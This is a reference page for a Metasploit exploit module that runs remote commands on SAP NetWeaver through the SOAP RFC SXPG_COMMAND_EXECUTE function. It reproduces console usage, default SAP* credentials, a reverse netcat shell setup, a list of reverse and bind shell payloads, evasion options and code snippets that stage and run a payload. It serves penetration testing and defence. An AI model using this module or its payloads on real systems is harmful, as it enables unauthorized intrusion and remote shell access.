SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution - Metasploit


This page contains detailed information about how to use the exploit/multi/sap/sap_soap_rfc_sxpg_command_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
Module: exploit/multi/sap/sap_soap_rfc_sxpg_command_exec
Source code: modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb
Disclosure date: 2012-05-08
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): Unix, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module abuses the SAP NetWeaver SXPG_COMMAND_EXECUTE function, on the SAP SOAP RFC Service, to execute remote commands. This module needs SAP credentials with privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested successfully on Windows 2008 64-bit and Linux 64-bit platforms.

Module Ranking and Traits


Module Ranking:

  • great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.

Basic Usage


msf > use exploit/multi/sap/sap_soap_rfc_sxpg_command_exec
msf exploit(sap_soap_rfc_sxpg_command_exec) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage


Here is how the multi/sap/sap_soap_rfc_sxpg_command_exec exploit module looks in the msfconsole:

msf6 > use exploit/multi/sap/sap_soap_rfc_sxpg_command_exec

[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/sap/sap_soap_rfc_sxpg_command_exec) > show info

       Name: SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
     Module: exploit/multi/sap/sap_soap_rfc_sxpg_command_exec
   Platform: Unix, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2012-05-08

Provided by:
  nmonkee

Available targets:
  Id  Name
  --  ----
  0   Linux
  1   Windows x64

Check supported:
  Yes

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  CLIENT        001              yes       SAP Client
  HttpPassword  06071992         yes       Password
  HttpUsername  SAP*             yes       Username
  Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT         8000             yes       The target port (TCP)
  SRVHOST       0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT       8080             yes       The local port to listen on.
  SSL           false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                        no        The URI to use for this exploit (default is random)
  VHOST                          no        HTTP server virtual host

Payload information:

Description:
  This module abuses the SAP NetWeaver SXPG_COMMAND_EXECUTE function, 
  on the SAP SOAP RFC Service, to execute remote commands. This module 
  needs SAP credentials with privileges to use the /sap/bc/soap/rfc in 
  order to work. The module has been tested successfully on Windows 
  2008 64-bit and Linux 64-bit platforms.

References:
  http://labs.mwrinfosecurity.com/blog/2012/09/03/sap-parameter-injection
  https://service.sap.com/sap/support/notes/1764994
  https://service.sap.com/sap/support/notes/1341333

Module Options


This is a complete list of options available in the multi/sap/sap_soap_rfc_sxpg_command_exec exploit:

msf6 exploit(multi/sap/sap_soap_rfc_sxpg_command_exec) > show options

Module options (exploit/multi/sap/sap_soap_rfc_sxpg_command_exec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CLIENT        001              yes       SAP Client
   HttpPassword  06071992         yes       Password
   HttpUsername  SAP*             yes       Username
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         8000             yes       The target port (TCP)
   SRVHOST       0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT       8080             yes       The local port to listen on.
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                        no        The URI to use for this exploit (default is random)
   VHOST                          no        HTTP server virtual host

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Linux

Advanced Options


Here is a complete list of advanced options supported by the multi/sap/sap_soap_rfc_sxpg_command_exec exploit:

msf6 exploit(multi/sap/sap_soap_rfc_sxpg_command_exec) > show advanced

Module advanced options (exploit/multi/sap/sap_soap_rfc_sxpg_command_exec):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   CMDSTAGER::DECODER                                                          no        The decoder stub to use.
   CMDSTAGER::FLAVOR       auto                                                no        The CMD Stager to use. (Accepted: auto, vbs)
   CMDSTAGER::SSL          false                                               no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                                             no        Writable directory for staged files
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EXE::Custom                                                                 no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false                                               no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                                               no        Use the default template in case the specified one is missing
   EXE::Inject             false                                               no        Set to preserve the original EXE function
   EXE::OldMethod          false                                               no        Set to use the substitution EXE generation method.
   EXE::Path                                                                   no        The directory in which to look for the executable template
   EXE::Template                                                               no        The executable template file name.
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   ListenerComm                                                                no        The specific communication channel to use for this service
   MSI::Custom                                                                 no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false                                               no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                                   no        The directory in which to look for the msi template
   MSI::Template                                                               no        The msi template file name
   MSI::UAC                false                                               no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   PAYLOAD_SPLIT           250                                                 yes       Size of payload segments (Windows Target)
   SSLCipher                                                                   no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                                               no        Enable SSL/TLS-level compression
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                                               no        Return a robots.txt file if asked for one
   URIHOST                                                                     no        Host to use in URI (useful for tunnels)
   URIPORT                                                                     no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                2                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse_netcat):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/sap/sap_soap_rfc_sxpg_command_exec module can exploit:

msf6 exploit(multi/sap/sap_soap_rfc_sxpg_command_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux
   1   Windows x64

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/sap/sap_soap_rfc_sxpg_command_exec exploit:

msf6 exploit(multi/sap/sap_soap_rfc_sxpg_command_exec) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   3   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   4   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   5   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   6   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   7   payload/cmd/unix/bind_nodejs                                 normal  No     Unix Command Shell, Bind TCP (via nodejs)
   8   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   9   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   10  payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   11  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   12  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   13  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   14  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   15  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   16  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   17  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   18  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   19  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   20  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   21  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   22  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   23  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   24  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   25  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   26  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   27  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   28  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   29  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   30  payload/cmd/unix/reverse_nodejs                              normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   31  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   32  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   33  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   34  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   35  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   36  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   37  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   38  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   39  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   40  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   41  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   42  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   43  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   44  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   45  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   46  payload/generic/custom                                       normal  No     Custom Payload
   47  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   48  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the multi/sap/sap_soap_rfc_sxpg_command_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/sap/sap_soap_rfc_sxpg_command_exec) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<RHOST>:<RPORT> - Payload dump failed


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Payload dump failed" error message:

146:	      print_status("#{rhost}:#{rport} - Dumping the payload to /tmp/#{file}...")
147:	      res = send_soap_request(stage_one)
148:	      if res and res.code == 200 and res.body =~ /External program terminated/
149:	        print_good("#{rhost}:#{rport} - Payload dump was successful")
150:	      else
151:	        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Payload dump failed")
152:	      end
153:	      stage_two = create_unix_payload(2,file)
154:	      print_status("#{rhost}:#{rport} - Executing /tmp/#{file}...")
155:	      send_soap_request(stage_two)
156:	    end

<RHOST>:<RPORT> - Error <ERROR:I>


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Error <ERROR:I>" error message:

185:	        return
186:	      else
187:	        if res and res.body =~ /faultstring/
188:	          error = res.body.scan(%r{<faultstring>(.*?)</faultstring>})
189:	          0.upto(error.length-1) do |i|
190:	            vprint_error("#{rhost}:#{rport} - Error #{error[i]}")
191:	          end
192:	        end
193:	        print_status("#{res.code}\n#{res.body}")
194:	        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error injecting command")
195:	      end

<RHOST>:<RPORT> - Error injecting command


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Error injecting command" error message:

189:	          0.upto(error.length-1) do |i|
190:	            vprint_error("#{rhost}:#{rport} - Error #{error[i]}")
191:	          end
192:	        end
193:	        print_status("#{res.code}\n#{res.body}")
194:	        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error injecting command")
195:	      end
196:	    rescue ::Rex::ConnectionError
197:	      fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Unable to connect")
198:	    end
199:	  end

<RHOST>:<RPORT> - Unable to connect


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Unable to connect" error message:

190:	            vprint_error("#{rhost}:#{rport} - Error #{error[i]}")
191:	          end
192:	        end
193:	        print_status("#{res.code}\n#{res.body}")
194:	        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error injecting command")
195:	      end
196:	    rescue ::Rex::ConnectionError
197:	      fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Unable to connect")
198:	    end
199:	  end
200:	end

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References


See Also


Check also the following modules related to this module:

Authors


  • nmonkee

Version


This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

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